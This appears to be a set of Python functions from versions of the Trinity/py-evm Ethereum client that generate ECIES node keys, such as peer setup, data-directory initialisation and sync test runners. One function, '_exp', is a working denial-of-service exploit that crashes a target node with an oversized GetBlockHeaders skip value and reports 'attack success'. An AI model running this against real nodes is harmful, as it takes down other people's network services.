async def _setup_alice_and_bob_factories(alice_chain_db, bob_chain_db): cancel_token = CancelToken( 'trinity.get_directly_linked_peers_without_handshake') # # Alice # alice_context = BeaconContext( chain_db=alice_chain_db, network_id=1, ) alice_factory = BCCPeerFactory( privkey=ecies.generate_privkey(), context=alice_context, token=cancel_token, ) # # Bob # bob_context = BeaconContext( chain_db=bob_chain_db, network_id=1, ) bob_factory = BCCPeerFactory( privkey=ecies.generate_privkey(), context=bob_context, token=cancel_token, ) return alice_factory, bob_factory
def _exp(node_url, chain) -> None: from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER, ROPSTEN_VM_CONFIGURATION from evm.db.backends.memory import MemoryDB from tests.p2p.integration_test_helpers import FakeAsyncHeaderDB, connect_to_peers_loop ip, port = node_url.split('@')[1].split(':') if port_probe(ip, port): print('The port is open, starting to attack...') peer_class = LESPeer peer_pool = None if chain == 'mainnet': block_hash = '0xd4e56740f876aef8c010b86a40d5f56745a118d0906a34e69aec8c0db1cb8fa3' headerdb = FakeAsyncHeaderDB(MemoryDB()) headerdb.persist_header(MAINNET_GENESIS_HEADER) network_id = MainnetChain.network_id nodes = [Node.from_uri(node_url)] peer_pool = PeerPool(peer_class, headerdb, network_id, ecies.generate_privkey(), MAINNET_VM_CONFIGURATION) elif chain == 'testnet': block_hash = '0x41941023680923e0fe4d74a34bdac8141f2540e3ae90623718e47d66d1ca4a2d' headerdb = FakeAsyncHeaderDB(MemoryDB()) headerdb.persist_header(ROPSTEN_GENESIS_HEADER) network_id = RopstenChain.network_id nodes = [Node.from_uri(node_url)] peer_pool = PeerPool(peer_class, headerdb, network_id, ecies.generate_privkey(), ROPSTEN_VM_CONFIGURATION) loop = asyncio.get_event_loop() async def attack() -> None: nonlocal peer_pool nonlocal block_hash while not peer_pool.peers: print("Waiting for peer connection...") await asyncio.sleep(1) peer = cast(LESPeer, peer_pool.peers[0]) cmd = GetBlockHeaders(peer.sub_proto.cmd_id_offset) data = { 'request_id': 1, 'query': GetBlockHeadersQuery(decode_hex(block_hash), 1, 0xffffffffffffffff, False), } header, body = cmd.encode(data) peer.sub_proto.send(header, body) await asyncio.sleep(1) result = port_probe(ip, port) if not result: print('The port is closed,attack success ...') exit() t1 = asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes)) t2 = asyncio.ensure_future(attack()) loop.set_debug(True) loop.run_until_complete(asyncio.wait([t1, t2])) loop.close()
def test_encrypt_decrypt(): msg = b'test yeah' privkey = ecies.generate_privkey() ciphertext = ecies.encrypt(msg, privkey.public_key) decrypted = ecies.decrypt(ciphertext, privkey) assert decrypted == msg privkey2 = ecies.generate_privkey() with pytest.raises(ecies.DecryptionError): decrypted = ecies.decrypt(ciphertext, privkey2)
def __init__(self, remote: kademlia.Node, privkey: datatypes.PrivateKey, use_eip8: bool, token: CancelToken) -> None: self.remote = remote self.privkey = privkey self.ephemeral_privkey = ecies.generate_privkey() self.use_eip8 = use_eip8 self.cancel_token = token
def initialize_data_dir(chain_config: ChainConfig) -> None: if not chain_config.data_dir.exists() and is_under_xdg_trinity_root( chain_config.data_dir): chain_config.data_dir.mkdir(parents=True, exist_ok=True) elif not chain_config.data_dir.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( "The base chain directory provided does not exist: `{0}`".format( chain_config.data_dir, ), chain_config.data_dir) # Logfile if (not chain_config.logdir_path.exists() and is_under_xdg_trinity_root(chain_config.logdir_path)): chain_config.logdir_path.mkdir(parents=True, exist_ok=True) chain_config.logfile_path.touch() elif not chain_config.logdir_path.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( "The base logging directory provided does not exist: `{0}`".format( chain_config.logdir_path, ), chain_config.logdir_path) # Chain data-dir os.makedirs(chain_config.database_dir, exist_ok=True) # Nodekey if chain_config.nodekey is None: nodekey = ecies.generate_privkey() with open(chain_config.nodekey_path, 'wb') as nodekey_file: nodekey_file.write(nodekey.to_bytes())
def initialize_data_dir(trinity_config: TrinityConfig) -> None: should_create_data_dir = (not trinity_config.data_dir.exists() and is_under_path( trinity_config.trinity_root_dir, trinity_config.data_dir)) if should_create_data_dir: trinity_config.data_dir.mkdir(parents=True, exist_ok=True) elif not trinity_config.data_dir.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( f"The base chain directory provided does not exist: `{str(trinity_config.data_dir)}`", trinity_config.data_dir, ) # Logfile should_create_logdir = (not trinity_config.logdir_path.exists() and is_under_path(trinity_config.trinity_root_dir, trinity_config.logdir_path)) if should_create_logdir: trinity_config.logdir_path.mkdir(parents=True, exist_ok=True) trinity_config.logfile_path.touch() elif not trinity_config.logdir_path.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( "The base logging directory provided does not exist: `{0}`".format( trinity_config.logdir_path, ), trinity_config.logdir_path) # Chain data-dir os.makedirs(trinity_config.database_dir, exist_ok=True) # Nodekey if trinity_config.nodekey is None: nodekey = ecies.generate_privkey() with open(trinity_config.nodekey_path, 'wb') as nodekey_file: nodekey_file.write(nodekey.to_bytes())
def _test() -> None: import argparse import asyncio import signal from eth.chains.ropsten import RopstenChain, ROPSTEN_VM_CONFIGURATION from eth.db.backends.level import LevelDB from p2p import ecies from p2p.kademlia import Node from trinity.protocol.common.constants import DEFAULT_PREFERRED_NODES from trinity.protocol.common.context import ChainContext from tests.trinity.core.integration_test_helpers import ( FakeAsyncChainDB, FakeAsyncRopstenChain, connect_to_peers_loop) logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-enode', type=str, required=False, help="The enode we should connect to") args = parser.parse_args() chaindb = FakeAsyncChainDB(LevelDB(args.db)) chain = FakeAsyncRopstenChain(chaindb) network_id = RopstenChain.network_id privkey = ecies.generate_privkey() context = ChainContext(headerdb=chaindb, network_id=network_id, vm_configuration=ROPSTEN_VM_CONFIGURATION) peer_pool = ETHPeerPool(privkey=privkey, context=context) if args.enode: nodes = tuple([Node.from_uri(args.enode)]) else: nodes = DEFAULT_PREFERRED_NODES[network_id] asyncio.ensure_future(peer_pool.run()) peer_pool.run_task(connect_to_peers_loop(peer_pool, nodes)) loop = asyncio.get_event_loop() syncer = FullNodeSyncer(chain, chaindb, chaindb.db, peer_pool) sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint() -> None: await sigint_received.wait() await syncer.cancel() await peer_pool.cancel() loop.stop() loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(syncer.run()) loop.run_forever() loop.close()
def _test() -> None: import argparse import signal from eth.chains.ropsten import RopstenChain, ROPSTEN_VM_CONFIGURATION from p2p import ecies from p2p.kademlia import Node from p2p.peer import DEFAULT_PREFERRED_NODES from tests.trinity.core.integration_test_helpers import ( FakeAsyncChainDB, FakeAsyncLevelDB, connect_to_peers_loop) logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-debug', action="store_true") parser.add_argument('-enode', type=str, required=False, help="The enode we should connect to") args = parser.parse_args() log_level = logging.INFO if args.debug: log_level = logging.DEBUG db = FakeAsyncLevelDB(args.db) chaindb = FakeAsyncChainDB(db) network_id = RopstenChain.network_id if args.enode: nodes = tuple([Node.from_uri(args.enode)]) else: nodes = DEFAULT_PREFERRED_NODES[network_id] peer_pool = PeerPool( ETHPeer, chaindb, network_id, ecies.generate_privkey(), ROPSTEN_VM_CONFIGURATION) asyncio.ensure_future(peer_pool.run()) peer_pool.run_task(connect_to_peers_loop(peer_pool, nodes)) head = chaindb.get_canonical_head() downloader = StateDownloader(chaindb, db, head.state_root, peer_pool) downloader.logger.setLevel(log_level) loop = asyncio.get_event_loop() sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint() -> None: await sigint_received.wait() await peer_pool.cancel() await downloader.cancel() loop.stop() async def run() -> None: await downloader.run() downloader.logger.info("run() finished, exiting") sigint_received.set() # loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(run()) loop.run_forever() loop.close()
def _test(): import argparse import asyncio from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from p2p.peer import ETHPeer, HardCodedNodesPeerPool from evm.chains.ropsten import RopstenChain from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import (FakeAsyncChainDB, FakeAsyncRopstenChain, LocalGethPeerPool) logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-local-geth', action="store_true") args = parser.parse_args() chaindb = FakeAsyncChainDB(LevelDB(args.db)) chain = FakeAsyncRopstenChain(chaindb) privkey = ecies.generate_privkey() if args.local_geth: peer_pool = LocalGethPeerPool(ETHPeer, chaindb, RopstenChain.network_id, privkey) else: discovery = None peer_pool = HardCodedNodesPeerPool( ETHPeer, chaindb, RopstenChain.network_id, privkey, discovery, ) asyncio.ensure_future(peer_pool.run()) loop = asyncio.get_event_loop() loop.set_default_executor(ProcessPoolExecutor()) syncer = FullNodeSyncer(chain, chaindb, chaindb.db, peer_pool) sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint(): await sigint_received.wait() await syncer.cancel() await peer_pool.cancel() loop.stop() loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(syncer.run()) loop.run_forever() loop.close()
def _test() -> None: import argparse from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB, LocalGethPeerPool parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-local-geth', action="store_true") parser.add_argument('-debug', action="store_true") args = parser.parse_args() logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%H:%M:%S') log_level = logging.INFO if args.debug: log_level = logging.DEBUG logging.getLogger('p2p.chain.ChainSyncer').setLevel(log_level) loop = asyncio.get_event_loop() # Use a ProcessPoolExecutor as the default because the tasks we want to offload from the main # thread are cpu intensive. loop.set_default_executor(ProcessPoolExecutor()) chaindb = FakeAsyncChainDB(LevelDB(args.db)) chaindb.persist_header(ROPSTEN_GENESIS_HEADER) privkey = ecies.generate_privkey() if args.local_geth: peer_pool = LocalGethPeerPool(ETHPeer, chaindb, RopstenChain.network_id, privkey) else: from p2p.peer import HardCodedNodesPeerPool min_peers = 5 peer_pool = HardCodedNodesPeerPool(ETHPeer, chaindb, RopstenChain.network_id, privkey, min_peers) asyncio.ensure_future(peer_pool.run()) downloader = ChainSyncer(chaindb, peer_pool) async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. try: await downloader.run() except OperationCancelled: pass await peer_pool.stop() await downloader.stop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) loop.run_until_complete(run()) loop.close()
def _test() -> None: import argparse import signal from p2p import ecies from p2p import kademlia from p2p.constants import ROPSTEN_BOOTNODES from p2p.discovery import DiscoveryProtocol from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB, LocalGethPeerPool logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') logging.getLogger('p2p.chain.ChainSyncer').setLevel(logging.DEBUG) parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-local-geth', action="store_true") args = parser.parse_args() loop = asyncio.get_event_loop() chaindb = FakeAsyncChainDB(LevelDB(args.db)) chaindb.persist_header(ROPSTEN_GENESIS_HEADER) privkey = ecies.generate_privkey() if args.local_geth: peer_pool = LocalGethPeerPool(ETHPeer, chaindb, RopstenChain.network_id, privkey) discovery = None else: listen_host = '0.0.0.0' listen_port = 30303 addr = kademlia.Address(listen_host, listen_port, listen_port) discovery = DiscoveryProtocol(privkey, addr, ROPSTEN_BOOTNODES) loop.run_until_complete(discovery.create_endpoint()) print("Bootstrapping discovery service...") loop.run_until_complete(discovery.bootstrap()) peer_pool = PeerPool(ETHPeer, chaindb, RopstenChain.network_id, privkey, discovery) asyncio.ensure_future(peer_pool.run()) downloader = ChainSyncer(chaindb, peer_pool) # On ROPSTEN the discovery table is usually full of bad peers so we can't require too many # peers in order to sync. downloader.min_peers_to_sync = 1 async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. await downloader.run() await peer_pool.stop() await downloader.stop() if discovery is not None: discovery.stop() # Give any pending discovery tasks some time to finish. await asyncio.sleep(2) for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) loop.run_until_complete(run()) loop.close()
def _test() -> None: import argparse import signal from p2p import constants from p2p import ecies loop = asyncio.get_event_loop() loop.set_debug(True) parser = argparse.ArgumentParser() parser.add_argument('-bootnode', type=str, help="The enode to use as bootnode") parser.add_argument('-debug', action="store_true") args = parser.parse_args() log_level = logging.INFO if args.debug: log_level = logging.DEBUG logging.basicConfig(level=log_level, format='%(asctime)s %(levelname)s: %(message)s') listen_host = '127.0.0.1' # Listen on a port other than 30303 so that we can test against a local geth instance # running on that port. listen_port = 30304 privkey = ecies.generate_privkey() addr = kademlia.Address(listen_host, listen_port, listen_port) if args.bootnode: bootstrap_nodes = tuple([kademlia.Node.from_uri(args.bootnode)]) else: bootstrap_nodes = tuple( kademlia.Node.from_uri(enode) for enode in constants.ROPSTEN_BOOTNODES) discovery = DiscoveryProtocol(privkey, addr, bootstrap_nodes) loop.run_until_complete( loop.create_datagram_endpoint(lambda: discovery, local_addr=('0.0.0.0', listen_port))) async def run() -> None: try: await discovery.bootstrap() while True: await discovery.lookup_random(CancelToken("Unused")) print("====================================================") print("Random nodes: ", list(discovery.get_nodes_to_connect(10))) print("====================================================") except OperationCancelled: await discovery.stop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, discovery.cancel_token.trigger) loop.run_until_complete(run()) loop.close()
def _test() -> None: import argparse import signal from p2p import ecies from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB, LocalGethPeerPool logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') logging.getLogger('p2p.chain.ChainSyncer').setLevel(logging.DEBUG) parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-local-geth', action="store_true") args = parser.parse_args() chaindb = FakeAsyncChainDB(LevelDB(args.db)) chaindb.persist_header(ROPSTEN_GENESIS_HEADER) if args.local_geth: peer_pool = LocalGethPeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey()) else: peer_pool = PeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey()) asyncio.ensure_future(peer_pool.run()) downloader = ChainSyncer(chaindb, peer_pool) async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. await downloader.run() await peer_pool.stop() await downloader.stop() loop = asyncio.get_event_loop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) loop.run_until_complete(run()) loop.close()
def _test(): import argparse from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from p2p.peer import HardCodedNodesPeerPool from evm.chains.ropsten import RopstenChain from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-debug', action="store_true") args = parser.parse_args() log_level = logging.INFO if args.debug: log_level = logging.DEBUG logging.getLogger('p2p.state.StateDownloader').setLevel(log_level) db = LevelDB(args.db) chaindb = FakeAsyncChainDB(db) discovery = None peer_pool = HardCodedNodesPeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey(), discovery, min_peers=5) asyncio.ensure_future(peer_pool.run()) head = chaindb.get_canonical_head() downloader = StateDownloader(db, head.state_root, peer_pool) loop = asyncio.get_event_loop() loop.set_default_executor(ProcessPoolExecutor()) sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint(): await sigint_received.wait() await peer_pool.cancel() await downloader.cancel() loop.stop() loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(downloader.run()) loop.run_forever() loop.close()
def __init__( self, remote: NodeAPI, privkey: datatypes.PrivateKey, use_eip8: bool) -> None: if remote is None: raise ValidationError("Cannot create handshake with None remote") elif remote.address is None: raise ValidationError("Cannot create handshake with remote address=None") self.logger = get_logger("p2p.peer.Handshake") self.remote = remote self.privkey = privkey self.ephemeral_privkey = ecies.generate_privkey() self.use_eip8 = use_eip8
def _resolve_node_key(trinity_config: TrinityConfig, nodekey_seed: Optional[str]) -> PrivateKey: if nodekey_seed: private_key_bytes = hashlib.sha256(nodekey_seed.encode()).digest() nodekey = PrivateKey(private_key_bytes) trinity_config.nodekey = nodekey return if trinity_config.nodekey is None: nodekey = ecies.generate_privkey() with open(trinity_config.nodekey_path, 'wb') as nodekey_file: nodekey_file.write(nodekey.to_bytes()) trinity_config.nodekey = nodekey
def __init__(self, remote: NodeAPI, privkey: datatypes.PrivateKey, use_eip8: bool, token: CancelToken) -> None: if remote is None: raise ValidationError("Cannot create handshake with None remote") elif remote.address is None: raise ValidationError( "Cannot create handshake with remote address=None") self.remote = remote self.privkey = privkey self.ephemeral_privkey = ecies.generate_privkey() self.use_eip8 = use_eip8 self.cancel_token = token
def _test(): import argparse import asyncio from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from p2p.kademlia import Node from p2p.peer import ETHPeer, DEFAULT_PREFERRED_NODES from evm.chains.ropsten import RopstenChain, ROPSTEN_VM_CONFIGURATION from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import ( FakeAsyncChainDB, FakeAsyncRopstenChain, connect_to_peers_loop) logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-enode', type=str, required=False, help="The enode we should connect to") args = parser.parse_args() chaindb = FakeAsyncChainDB(LevelDB(args.db)) chain = FakeAsyncRopstenChain(chaindb) network_id = RopstenChain.network_id privkey = ecies.generate_privkey() peer_pool = PeerPool(ETHPeer, chaindb, network_id, privkey, ROPSTEN_VM_CONFIGURATION) if args.enode: nodes = tuple([Node.from_uri(args.enode)]) else: nodes = DEFAULT_PREFERRED_NODES[network_id] asyncio.ensure_future(peer_pool.run()) asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes)) loop = asyncio.get_event_loop() loop.set_default_executor(ProcessPoolExecutor()) syncer = FullNodeSyncer(chain, chaindb, chaindb.db, peer_pool) sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint(): await sigint_received.wait() await syncer.cancel() await peer_pool.cancel() loop.stop() loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(syncer.run()) loop.run_forever() loop.close()
def _test(): import argparse from concurrent.futures import ProcessPoolExecutor import signal from p2p import ecies from p2p.peer import HardCodedNodesPeerPool from evm.chains.ropsten import RopstenChain from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-debug', action="store_true") args = parser.parse_args() log_level = logging.INFO if args.debug: log_level = logging.DEBUG logging.getLogger('p2p.state.StateDownloader').setLevel(log_level) db = LevelDB(args.db) chaindb = FakeAsyncChainDB(db) peer_pool = HardCodedNodesPeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey(), min_peers=5) asyncio.ensure_future(peer_pool.run()) head = chaindb.get_canonical_head() downloader = StateDownloader(db, head.state_root, peer_pool) loop = asyncio.get_event_loop() loop.set_default_executor(ProcessPoolExecutor()) for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. try: await downloader.run() except OperationCancelled: pass await peer_pool.stop() await downloader.stop() loop.run_until_complete(run()) loop.close()
async def get_directly_linked_peers_without_handshake( alice_factory: BasePeerFactory = None, bob_factory: BasePeerFactory = None) -> Tuple[BasePeer, BasePeer]: """ See get_directly_linked_peers(). Neither the P2P handshake nor the sub-protocol handshake will be performed here. """ cancel_token = CancelToken("get_directly_linked_peers_without_handshake") if alice_factory is None: alice_factory = ParagonPeerFactory( privkey=ecies.generate_privkey(), context=ParagonContext(), token=cancel_token, ) if bob_factory is None: bob_factory = ParagonPeerFactory( privkey=ecies.generate_privkey(), context=ParagonContext(), token=cancel_token, ) alice_remote = NodeFactory(pubkey=alice_factory.privkey.public_key) bob_remote = NodeFactory(pubkey=bob_factory.privkey.public_key) alice_transport, bob_transport = MemoryTransportPairFactory( alice_remote=alice_remote, alice_private_key=alice_factory.privkey, bob_remote=bob_remote, bob_private_key=bob_factory.privkey, ) alice = alice_factory.create_peer(alice_transport) bob = bob_factory.create_peer(bob_transport) return alice, bob
def _test() -> None: import argparse import signal from p2p import ecies from p2p.peer import DEFAULT_PREFERRED_NODES from evm.chains.ropsten import RopstenChain, ROPSTEN_VM_CONFIGURATION from evm.db.backends.level import LevelDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB, connect_to_peers_loop logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-debug', action="store_true") args = parser.parse_args() log_level = logging.INFO if args.debug: log_level = logging.DEBUG logging.getLogger('p2p.state.StateDownloader').setLevel(log_level) db = LevelDB(args.db) chaindb = FakeAsyncChainDB(db) network_id = RopstenChain.network_id nodes = DEFAULT_PREFERRED_NODES[network_id] peer_pool = PeerPool(ETHPeer, chaindb, network_id, ecies.generate_privkey(), ROPSTEN_VM_CONFIGURATION) asyncio.ensure_future(peer_pool.run()) asyncio.ensure_future(connect_to_peers_loop(peer_pool, nodes)) head = chaindb.get_canonical_head() downloader = StateDownloader(db, head.state_root, peer_pool) loop = asyncio.get_event_loop() sigint_received = asyncio.Event() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, sigint_received.set) async def exit_on_sigint() -> None: await sigint_received.wait() await peer_pool.cancel() await downloader.cancel() loop.stop() loop.set_debug(True) asyncio.ensure_future(exit_on_sigint()) asyncio.ensure_future(downloader.run()) loop.run_forever() loop.close()
def initialize_data_dir(trinity_config: TrinityConfig) -> None: should_create_data_dir = ( not trinity_config.data_dir.exists() and is_under_path(trinity_config.trinity_root_dir, trinity_config.data_dir) ) if should_create_data_dir: trinity_config.data_dir.mkdir(parents=True, exist_ok=True) elif not trinity_config.data_dir.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( f"The base chain directory provided does not exist: `{str(trinity_config.data_dir)}`", trinity_config.data_dir, ) # Logfile should_create_logdir = ( not trinity_config.log_dir.exists() and ( # If we're in the default path, always create the log directory is_under_path(trinity_config.trinity_root_dir, trinity_config.log_dir) or ( # If we're in a custom path, create the log directory if the data dir is empty is_under_path(trinity_config.data_dir, trinity_config.log_dir) and not any(trinity_config.data_dir.iterdir()) ) ) ) if should_create_logdir: trinity_config.log_dir.mkdir(parents=True, exist_ok=True) trinity_config.logfile_path.touch() elif not trinity_config.log_dir.exists(): # we don't lazily create the base dir for non-default base directories. raise MissingPath( "The base logging directory provided does not exist: `{0}`".format( trinity_config.log_dir, ), trinity_config.log_dir, ) # Initialize chain, pid, ipc and enrdb directories os.makedirs(trinity_config.pid_dir, exist_ok=True) os.makedirs(trinity_config.ipc_dir, exist_ok=True) os.makedirs(trinity_config.node_db_dir, exist_ok=True) # Nodekey if trinity_config.nodekey is None: nodekey = ecies.generate_privkey() with open(trinity_config.nodekey_path, 'wb') as nodekey_file: nodekey_file.write(nodekey.to_bytes())
def initialize_data_dir(chain_config: ChainConfig) -> None: if is_under_xdg_trinity_root(chain_config.data_dir): os.makedirs(chain_config.data_dir, exist_ok=True) elif not os.path.exists(chain_config.data_dir): # we don't lazily create the base dir for non-default base directories. raise ValueError( "The base chain directory provided does not exist: `{0}`".format( chain_config.data_dir, )) # Chain data-dir os.makedirs(chain_config.database_dir, exist_ok=True) # Nodekey if chain_config.nodekey is None: nodekey = ecies.generate_privkey() with open(chain_config.nodekey_path, 'wb') as nodekey_file: nodekey_file.write(nodekey.to_bytes())
def _test(): import signal from p2p import constants from p2p import ecies from p2p.exceptions import OperationCancelled logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') loop = asyncio.get_event_loop() loop.set_debug(True) listen_host = '0.0.0.0' # Listen on a port other than 30303 in case we want to test against a local geth instance # running on that port. listen_port = 30303 privkey = ecies.generate_privkey() addr = kademlia.Address(listen_host, listen_port, listen_port) bootstrap_nodes = tuple( kademlia.Node.from_uri(enode) for enode in constants.ROPSTEN_BOOTNODES) discovery = DiscoveryProtocol(privkey, addr, bootstrap_nodes) # local_bootnodes = [ # kademlia.Node.from_uri('enode://0x3a514176466fa815ed481ffad09110a2d344f6c9b78c1d14afc351c3a51be33d8072e77939dc03ba44790779b7a1025baf3003f6732430e20cd9b76d953391b3@127.0.0.1:30303')] # noqa: E501 # discovery = DiscoveryProtocol(privkey, addr, local_bootnodes) loop.run_until_complete( loop.create_datagram_endpoint(lambda: discovery, local_addr=('0.0.0.0', listen_port))) async def run(): try: await discovery.bootstrap() while True: await discovery.lookup_random(CancelToken("Unused")) print("====================================================") print("Random nodes: ", list(discovery.get_random_nodes(10))) print("====================================================") except OperationCancelled: await discovery.stop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, discovery.cancel_token.trigger) loop.run_until_complete(run()) loop.close()
def _test(): import argparse import signal from p2p import ecies from p2p.peer import HardCodedNodesPeerPool from evm.chains.ropsten import RopstenChain, ROPSTEN_GENESIS_HEADER from evm.db.backends.level import LevelDB from evm.db.backends.memory import MemoryDB from tests.p2p.integration_test_helpers import FakeAsyncChainDB logging.basicConfig(level=logging.INFO, format='%(levelname)s: %(message)s') parser = argparse.ArgumentParser() parser.add_argument('-db', type=str, required=True) parser.add_argument('-root-hash', type=str, required=True, help='Hex encoded root hash') args = parser.parse_args() chaindb = FakeAsyncChainDB(MemoryDB()) chaindb.persist_header(ROPSTEN_GENESIS_HEADER) peer_pool = HardCodedNodesPeerPool(ETHPeer, chaindb, RopstenChain.network_id, ecies.generate_privkey()) asyncio.ensure_future(peer_pool.run()) state_db = LevelDB(args.db) root_hash = decode_hex(args.root_hash) downloader = StateDownloader(state_db, root_hash, peer_pool) loop = asyncio.get_event_loop() for sig in [signal.SIGINT, signal.SIGTERM]: loop.add_signal_handler(sig, downloader.cancel_token.trigger) async def run(): # downloader.run() will run in a loop until the SIGINT/SIGTERM handler triggers its cancel # token, at which point it returns and we stop the pool and downloader. await downloader.run() await peer_pool.stop() await downloader.stop() loop.run_until_complete(run()) loop.close()
def do_start(self) -> None: trinity_config = self.context.trinity_config beacon_config = trinity_config.get_app_config(BeaconAppConfig) db_manager = create_db_consumer_manager(trinity_config.database_ipc_path) base_db = db_manager.get_db() # type: ignore chain_db = db_manager.get_chaindb() # type: ignore chain_config = beacon_config.get_chain_config() chain = chain_config.beacon_chain_class(base_db) if self.context.args.beacon_nodekey: from eth_keys.datatypes import PrivateKey privkey = PrivateKey(bytes.fromhex(self.context.args.beacon_nodekey)) else: privkey = ecies.generate_privkey() server = BCCServer( privkey=privkey, port=self.context.args.port, chain=chain, chaindb=chain_db, headerdb=None, base_db=base_db, network_id=trinity_config.network_id, max_peers=DEFAULT_MAX_PEERS, bootstrap_nodes=None, preferred_nodes=None, event_bus=self.context.event_bus, token=None, ) syncer = BeaconChainSyncer( chain_db, server.peer_pool, server.cancel_token, ) loop = asyncio.get_event_loop() asyncio.ensure_future(exit_with_service_and_endpoint(server, self.context.event_bus)) asyncio.ensure_future(server.run()) asyncio.ensure_future(syncer.run()) loop.run_forever() loop.close()
